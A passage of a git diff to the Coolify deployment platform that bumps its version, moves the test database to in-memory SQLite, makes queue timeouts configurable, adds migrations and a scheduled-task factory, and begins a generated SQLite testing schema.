b/config/constants.php index 0b404fe9d..be41c4618 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.463', + 'version' => '4.0.0-beta.464', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.10', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/config/database.php b/config/database.php index 366ff90b5..79da0eaf7 100644 --- a/config/database.php +++ b/config/database.php @@ -54,18 +54,10 @@ ], 'testing' => [ - 'driver' => 'pgsql', - 'url' => env('DATABASE_TEST_URL'), - 'host' => env('DB_TEST_HOST', 'postgres'), - 'port' => env('DB_TEST_PORT', '5432'), - 'database' => env('DB_TEST_DATABASE', 'coolify_test'), - 'username' => env('DB_TEST_USERNAME', 'coolify'), - 'password' => env('DB_TEST_PASSWORD', 'password'), - 'charset' => 'utf8', + 'driver' => 'sqlite', + 'database' => ':memory:', 'prefix' => '', - 'prefix_indexes' => true, - 'search_path' => 'public', - 'sslmode' => 'prefer', + 'foreign_key_constraints' => true, ], ], diff --git a/config/horizon.php b/config/horizon.php index cdabcb1e8..0423f1549 100644 --- a/config/horizon.php +++ b/config/horizon.php @@ -184,13 +184,13 @@ 'connection' => 'redis', 'balance' => env('HORIZON_BALANCE', 'false'), 'queue' => env('HORIZON_QUEUES', 'high,default'), - 'maxTime' => 3600, + 'maxTime' => env('HORIZON_MAX_TIME', 0), 'maxJobs' => 400, 'memory' => 128, 'tries' => 1, 'nice' => 0, 'sleep' => 3, - 'timeout' => 3600, + 'timeout' => env('HORIZON_TIMEOUT', 36000), ], ], diff --git a/database/factories/ScheduledTaskFactory.php b/database/factories/ScheduledTaskFactory.php new file mode 100644 index 000000000..6e4d6d740 --- /dev/null +++ b/database/factories/ScheduledTaskFactory.php @@ -0,0 +1,21 @@ + fake()->word(), + 'command' => 'echo hello', + 'frequency' => '* * * * *', + 'timeout' => 300, + 'enabled' => true, + 'team_id' => Team::factory(), + ]; + } +} diff --git a/database/migrations/2024_11_11_125366_add_index_to_activity_log.php b/database/migrations/2024_11_11_125366_add_index_to_activity_log.php index 0c281ff40..5ebf62fe3 100644 --- a/database/migrations/2024_11_11_125366_add_index_to_activity_log.php +++ b/database/migrations/2024_11_11_125366_add_index_to_activity_log.php @@ -8,6 +8,10 @@ class AddIndexToActivityLog extends Migration { public function up() { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + try { DB::statement('ALTER TABLE activity_log ALTER COLUMN properties TYPE jsonb USING properties::jsonb'); DB::statement('CREATE INDEX idx_activity_type_uuid ON activity_log USING GIN (properties jsonb_path_ops)'); @@ -18,6 +22,10 @@ public function up() public function down() { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + try { DB::statement('DROP INDEX IF EXISTS idx_activity_type_uuid'); DB::statement('ALTER TABLE activity_log ALTER COLUMN properties TYPE json USING properties::json'); diff --git a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php new file mode 100644 index 000000000..abbae3573 --- /dev/null +++ b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php @@ -0,0 +1,36 @@ +string('comment', 256)->nullable(); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->string('comment', 256)->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + } +}; diff --git a/database/migrations/2025_12_08_135600_add_performance_indexes.php b/database/migrations/2025_12_08_135600_add_performance_indexes.php index 680c4b4f7..ce38d7cc2 100644 --- a/database/migrations/2025_12_08_135600_add_performance_indexes.php +++ b/database/migrations/2025_12_08_135600_add_performance_indexes.php @@ -22,6 +22,10 @@ public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + foreach ($this->indexes as [$table, $columns, $indexName]) { if (! $this->indexExists($indexName)) { $columnList = implode(', ', array_map(fn ($col) => "\"$col\"", $columns)); @@ -32,6 +36,10 @@ public function up(): void public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + foreach ($this->indexes as [, , $indexName]) { DB::statement("DROP INDEX IF EXISTS \"{$indexName}\""); } diff --git a/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php new file mode 100644 index 000000000..cd9d98a1c --- /dev/null +++ b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php @@ -0,0 +1,44 @@ +text('health_check_type')->default('http')->after('health_check_enabled'); + }); + } + + if (! Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->text('health_check_command')->nullable()->after('health_check_type'); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('applications', 'health_check_type')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_type'); + }); + } + + if (Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_command'); + }); + } + } +}; diff --git a/database/schema/testing-schema.sql b/database/schema/testing-schema.sql new file mode 100644 index 000000000..edbc35db4 --- /dev/null +++ b/database/schema/testing-schema.sql @@ -0,0 +1,1754 @@ +-- Generated by: php artisan schema:generate-testing +-- Date: 2026-02-11 13:10:01 +-- Last migration: 2025_12_17_000002_add_restart_tracking_to_standalone_databases + +CREATE TABLE IF NOT EXISTS "activity_log" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "log_name" TEXT, + "description" TEXT NOT NULL, + "subject_type" TEXT, + "subject_id" INTEGER, + "causer_type" TEXT, + "causer_id" INTEGER, + "properties" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "event" TEXT, + "batch_uuid" TEXT +); + +CREATE TABLE IF NOT EXISTS "additional_destinations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "application_id" INTEGER NOT NULL, + "server_id" INTEGER NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "standalone_docker_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_deployment_queues" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "application_id" TEXT NOT NULL, + "deployment_uuid" TEXT NOT NULL, + "pull_request_id" INTEGER DEFAULT 0 NOT NULL, + "force_rebuild" INTEGER DEFAULT false NOT NULL, + "commit" TEXT DEFAULT 'HEAD' NOT NULL, + "status" TEXT DEFAULT 'queued' NOT NULL, + "is_webhook" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "logs" TEXT, + "current_process_id" TEXT, + "restart_only" INTEGER DEFAULT false NOT NULL, + "git_type" TEXT, + "server_id" INTEGER, + "application_name" TEXT, + "server_name" TEXT, + "deployment_url" TEXT, + "destination_id" TEXT, + "only_this_server" INTEGER DEFAULT false NOT NULL, + "rollback" INTEGER DEFAULT false NOT NULL, + "commit_message" TEXT, + "is_api" INTEGER DEFAULT false NOT NULL, + "build_server_id" INTEGER, + "horizon_job_id" TEXT, + "horizon_job_worker" TEXT, + "finished_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_previews" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "pull_request_id" INTEGER NOT NULL, + "pull_request_html_url" TEXT NOT NULL, + "pull_request_issue_comment_id" TEXT, + "fqdn" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "application_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "git_type" TEXT, + "docker_compose_domains" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "deleted_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "is_static" INTEGER DEFAULT false NOT NULL, + "is_git_submodules_enabled" INTEGER DEFAULT true NOT NULL, + "is_git_lfs_enabled" INTEGER DEFAULT true NOT NULL, + "is_auto_deploy_enabled" INTEGER DEFAULT true NOT NULL, + "is_force_https_enabled" INTEGER DEFAULT true NOT NULL, + "is_debug_enabled" INTEGER DEFAULT false NOT NULL, + "is_preview_deployments_enabled" INTEGER DEFAULT false NOT NULL, + "application_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_gpu_enabled" INTEGER DEFAULT false NOT NULL, + "gpu_driver" TEXT DEFAULT 'nvidia' NOT NULL, + "gpu_count" TEXT, + "gpu_device_ids" TEXT, + "gpu_options" TEXT, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "is_swarm_only_worker_nodes" INTEGER DEFAULT true NOT NULL, + "is_raw_compose_deployment_enabled" INTEGER DEFAULT false NOT NULL, + "is_build_server_enabled" INTEGER DEFAULT false NOT NULL, + "is_consistent_container_name_enabled" INTEGER DEFAULT false NOT NULL, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "connect_to_docker_network" INTEGER DEFAULT false NOT NULL, + "custom_internal_name" TEXT, + "is_container_label_escape_enabled" INTEGER DEFAULT true NOT NULL, + "is_env_sorting_enabled" INTEGER DEFAULT false NOT NULL, + "is_container_label_readonly_enabled" INTEGER DEFAULT true NOT NULL, + "is_preserve_repository_enabled" INTEGER DEFAULT false NOT NULL, + "disable_build_cache" INTEGER DEFAULT false NOT NULL, + "is_spa" INTEGER DEFAULT false NOT NULL, + "is_git_shallow_clone_enabled" INTEGER DEFAULT true NOT NULL, + "is_pr_deployments_public_enabled" INTEGER DEFAULT false NOT NULL, + "use_build_secrets" INTEGER DEFAULT false NOT NULL, + "inject_build_args_to_dockerfile" INTEGER DEFAULT true NOT NULL, + "include_source_commit_in_build" INTEGER DEFAULT false NOT NULL, + "docker_images_to_keep" INTEGER DEFAULT 2 NOT NULL +); + +CREATE TABLE IF NOT EXISTS "applications" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "repository_project_id" INTEGER, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "fqdn" TEXT, + "config_hash" TEXT, + "git_repository" TEXT NOT NULL, + "git_branch" TEXT NOT NULL, + "git_commit_sha" TEXT DEFAULT 'HEAD' NOT NULL, + "git_full_url" TEXT, + "docker_registry_image_name" TEXT, + "docker_registry_image_tag" TEXT, + "build_pack" TEXT NOT NULL, + "static_image" TEXT DEFAULT 'nginx:alpine' NOT NULL, + "install_command" TEXT, + "build_command" TEXT, + "start_command" TEXT, + "ports_exposes" TEXT NOT NULL, + "ports_mappings" TEXT, + "base_directory" TEXT DEFAULT '/' NOT NULL, + "publish_directory" TEXT, + "health_check_path" TEXT DEFAULT '/' NOT NULL, + "health_check_port" TEXT, + "health_check_host" TEXT DEFAULT 'localhost' NOT NULL, + "health_check_method" TEXT DEFAULT 'GET' NOT NULL, + "health_check_return_code" INTEGER DEFAULT 200 NOT NULL, + "health_check_scheme" TEXT DEFAULT 'http' NOT NULL, + "health_check_response_text" TEXT, + "health_check_interval" INTEGER DEFAULT 5 NOT NULL, + "health_check_timeout" INTEGER DEFAULT 5 NOT NULL, + "health_check_retries" INTEGER DEFAULT 10 NOT NULL, + "health_check_start_period" INTEGER DEFAULT 5 NOT NULL, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "preview_url_template" TEXT DEFAULT '{{pr_id}}.{{domain}}' NOT NULL, + "destination_type" TEXT, + "destination_id" INTEGER, + "source_type" TEXT, + "source_id" INTEGER, + "private_key_id" INTEGER, + "environment_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "description" TEXT, + "dockerfile" TEXT, + "health_check_enabled" INTEGER DEFAULT false NOT NULL, + "dockerfile_location" TEXT, + "custom_labels" TEXT, + "dockerfile_target_build" TEXT, + "manual_webhook_secret_github" TEXT, + "manual_webhook_secret_gitlab" TEXT, + "docker_compose_location" TEXT DEFAULT '/docker-compose.yaml', + "docker_compose" TEXT, + "docker_compose_raw" TEXT, + "docker_compose_domains" TEXT, + "deleted_at" TEXT, + "docker_compose_custom_start_command" TEXT, + "docker_compose_custom_build_command" TEXT, + "swarm_replicas" INTEGER DEFAULT 1 NOT NULL, + "swarm_placement_constraints" TEXT, + "manual_webhook_secret_bitbucket" TEXT, + "custom_docker_run_options" TEXT, + "post_deployment_command" TEXT, + "post_deployment_command_container" TEXT, + "pre_deployment_command" TEXT, + "pre_deployment_command_container" TEXT, + "watch_paths" TEXT, + "custom_healthcheck_found" INTEGER DEFAULT false NOT NULL, + "manual_webhook_secret_gitea" TEXT, + "redirect" TEXT DEFAULT 'both' NOT NULL, + "compose_parsing_version" TEXT DEFAULT '1' NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "custom_nginx_configuration" TEXT, + "custom_network_aliases" TEXT, + "is_http_basic_auth_enabled" INTEGER DEFAULT false NOT NULL, + "http_basic_auth_username" TEXT, + "http_basic_auth_password" TEXT, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "cloud_init_scripts" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "name" TEXT NOT NULL, + "script" TEXT NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "cloud_provider_tokens" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "provider" TEXT NOT NULL, + "token" TEXT NOT NULL, + "name" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "uuid" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "discord_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "discord_enabled" INTEGER DEFAULT false NOT NULL, + "discord_webhook_url" TEXT, + "deployment_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_discord_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_discord_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_discord_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_discord_notifications" INTEGER DEFAULT true NOT NULL, + "discord_ping_enabled" INTEGER DEFAULT true NOT NULL, + "server_patch_discord_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_discord_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "docker_cleanup_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "cleanup_log" TEXT, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "finished_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "email_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "smtp_enabled" INTEGER DEFAULT false NOT NULL, + "smtp_from_address" TEXT, + "smtp_from_name" TEXT, + "smtp_recipients" TEXT, + "smtp_host" TEXT, + "smtp_port" INTEGER, + "smtp_encryption" TEXT, + "smtp_username" TEXT, + "smtp_password" TEXT, + "smtp_timeout" INTEGER, + "resend_enabled" INTEGER DEFAULT false NOT NULL, + "resend_api_key" TEXT, + "use_instance_email_settings" INTEGER DEFAULT false NOT NULL, + "deployment_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_email_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_email_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_email_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_email_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "environment_variables" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "key" TEXT NOT NULL, + "value" TEXT, + "is_preview" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_shown_once" INTEGER DEFAULT false NOT NULL, + "is_multiline" INTEGER DEFAULT false NOT NULL, + "version" TEXT DEFAULT '4.0.0-beta.239' NOT NULL, + "is_literal" INTEGER DEFAULT false NOT NULL, + "uuid" TEXT NOT NULL, + "order" INTEGER, + "is_required" INTEGER DEFAULT false NOT NULL, + "is_shared" INTEGER DEFAULT false NOT NULL, + "resourceable_type" TEXT, + "resourceable_id" INTEGER, + "is_runtime" INTEGER DEFAULT true NOT NULL, + "is_buildtime" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "environments" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "project_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "description" TEXT, + "uuid" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "failed_jobs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "connection" TEXT NOT NULL, + "queue" TEXT NOT NULL, + "payload" TEXT NOT NULL, + "exception" TEXT NOT NULL, + "failed_at" TEXT DEFAULT CURRENT_TIMESTAMP NOT NULL +); + +CREATE TABLE IF NOT EXISTS "github_apps" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "organization" TEXT, + "api_url" TEXT NOT NULL, + "html_url" TEXT NOT NULL, + "custom_user" TEXT DEFAULT 'git' NOT NULL, + "custom_port" INTEGER DEFAULT 22 NOT NULL, + "app_id" INTEGER, + "installation_id" INTEGER, + "client_id" TEXT, + "client_secret" TEXT, + "webhook_secret" TEXT, + "is_system_wide" INTEGER DEFAULT false NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "private_key_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "contents" TEXT, + "metadata" TEXT, + "pull_requests" TEXT, + "administration" TEXT +); + +CREATE TABLE IF NOT EXISTS "gitlab_apps" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "organization" TEXT, + "api_url" TEXT NOT NULL, + "html_url" TEXT NOT NULL, + "custom_port" INTEGER DEFAULT 22 NOT NULL, + "custom_user" TEXT DEFAULT 'git' NOT NULL, + "is_system_wide" INTEGER DEFAULT false NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "app_id" INTEGER, + "app_secret" TEXT, + "oauth_id" INTEGER, + "group_name" TEXT, + "public_key" TEXT, + "webhook_token" TEXT, + "deploy_key_id" INTEGER, + "private_key_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "instance_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "public_ipv4" TEXT, + "public_ipv6" TEXT, + "fqdn" TEXT, + "public_port_min" INTEGER DEFAULT 9000 NOT NULL, + "public_port_max" INTEGER DEFAULT 9100 NOT NULL, + "do_not_track" INTEGER DEFAULT false NOT NULL, + "is_auto_update_enabled" INTEGER DEFAULT true NOT NULL, + "is_registration_enabled" INTEGER DEFAULT true NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "next_channel" INTEGER DEFAULT false NOT NULL, + "smtp_enabled" INTEGER DEFAULT false NOT NULL, + "smtp_from_address" TEXT, + "smtp_from_name" TEXT, + "smtp_recipients" TEXT, + "smtp_host" TEXT, + "smtp_port" INTEGER, + "smtp_encryption" TEXT, + "smtp_username" TEXT, + "smtp_password" TEXT, + "smtp_timeout" INTEGER, + "resend_enabled" INTEGER DEFAULT false NOT NULL, + "resend_api_key" TEXT, + "is_dns_validation_enabled" INTEGER DEFAULT true NOT NULL, + "custom_dns_servers" TEXT DEFAULT '1.1.1.1', + "instance_name" TEXT, + "is_api_enabled" INTEGER DEFAULT false NOT NULL, + "allowed_ips" TEXT, + "auto_update_frequency" TEXT DEFAULT '0 0 * * *' NOT NULL, + "update_check_frequency" TEXT DEFAULT '0 * * * *' NOT NULL, + "new_version_available" INTEGER DEFAULT false NOT NULL, + "instance_timezone" TEXT DEFAULT 'UTC' NOT NULL, + "helper_version" TEXT DEFAULT '1.0.0' NOT NULL, + "disable_two_step_confirmation" INTEGER DEFAULT false NOT NULL, + "is_sponsorship_popup_enabled" INTEGER DEFAULT true NOT NULL, + "dev_helper_version" TEXT, + "is_wire_navigate_enabled" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "local_file_volumes" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "fs_path" TEXT NOT NULL, + "mount_path" TEXT, + "content" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_directory" INTEGER DEFAULT false NOT NULL, + "chown" TEXT, + "chmod" TEXT, + "is_based_on_git" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "local_persistent_volumes" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "mount_path" TEXT NOT NULL, + "host_path" TEXT, + "container_id" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "migrations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "migration" TEXT NOT NULL, + "batch" INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS "oauth_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "provider" TEXT NOT NULL, + "enabled" INTEGER DEFAULT false NOT NULL, + "client_id" TEXT, + "client_secret" TEXT, + "redirect_uri" TEXT, + "tenant" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "base_url" TEXT +); + +CREATE TABLE IF NOT EXISTS "password_reset_tokens" ( + "email" TEXT NOT NULL, + "token" TEXT NOT NULL, + "created_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "personal_access_tokens" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "tokenable_type" TEXT NOT NULL, + "tokenable_id" INTEGER NOT NULL, + "name" TEXT NOT NULL, + "token" TEXT NOT NULL, + "team_id" TEXT NOT NULL, + "abilities" TEXT, + "last_used_at" TEXT, + "expires_at" TEXT, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "private_keys" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "private_key" TEXT NOT NULL, + "is_git_related" INTEGER DEFAULT false NOT NULL, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "fingerprint" TEXT +); + +CREATE TABLE IF NOT EXISTS "project_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "project_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "projects" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "pushover_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "pushover_enabled" INTEGER DEFAULT false NOT NULL, + "pushover_user_key" TEXT, + "pushover_api_token" TEXT, + "deployment_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_pushover_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "s3_storages" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "region" TEXT DEFAULT 'us-east-1' NOT NULL, + "key" TEXT NOT NULL, + "secret" TEXT NOT NULL, + "bucket" TEXT NOT NULL, + "endpoint" TEXT, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_usable" INTEGER DEFAULT false NOT NULL, + "unusable_email_sent" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "scheduled_database_backup_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "size" TEXT, + "filename" TEXT, + "scheduled_database_backup_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "database_name" TEXT, + "finished_at" TEXT, + "local_storage_deleted" INTEGER DEFAULT false NOT NULL, + "s3_storage_deleted" INTEGER DEFAULT false NOT NULL, + "s3_uploaded" INTEGER +); + +CREATE TABLE IF NOT EXISTS "scheduled_database_backups" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "description" TEXT, + "uuid" TEXT NOT NULL, + "enabled" INTEGER DEFAULT true NOT NULL, + "save_s3" INTEGER DEFAULT true NOT NULL, + "frequency" TEXT NOT NULL, + "database_backup_retention_amount_locally" INTEGER DEFAULT 0 NOT NULL, + "database_type" TEXT NOT NULL, + "database_id" INTEGER NOT NULL, + "s3_storage_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "databases_to_backup" TEXT, + "dump_all" INTEGER DEFAULT false NOT NULL, + "database_backup_retention_days_locally" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_max_storage_locally" REAL DEFAULT '0' NOT NULL, + "database_backup_retention_amount_s3" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_days_s3" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_max_storage_s3" REAL DEFAULT '0' NOT NULL, + "timeout" INTEGER DEFAULT 3600 NOT NULL, + "disable_local_backup" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "scheduled_task_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "scheduled_task_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "finished_at" TEXT, + "started_at" TEXT, + "retry_count" INTEGER DEFAULT 0 NOT NULL, + "duration" REAL, + "error_details" TEXT +); + +CREATE TABLE IF NOT EXISTS "scheduled_tasks" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "enabled" INTEGER DEFAULT true NOT NULL, + "name" TEXT NOT NULL, + "command" TEXT 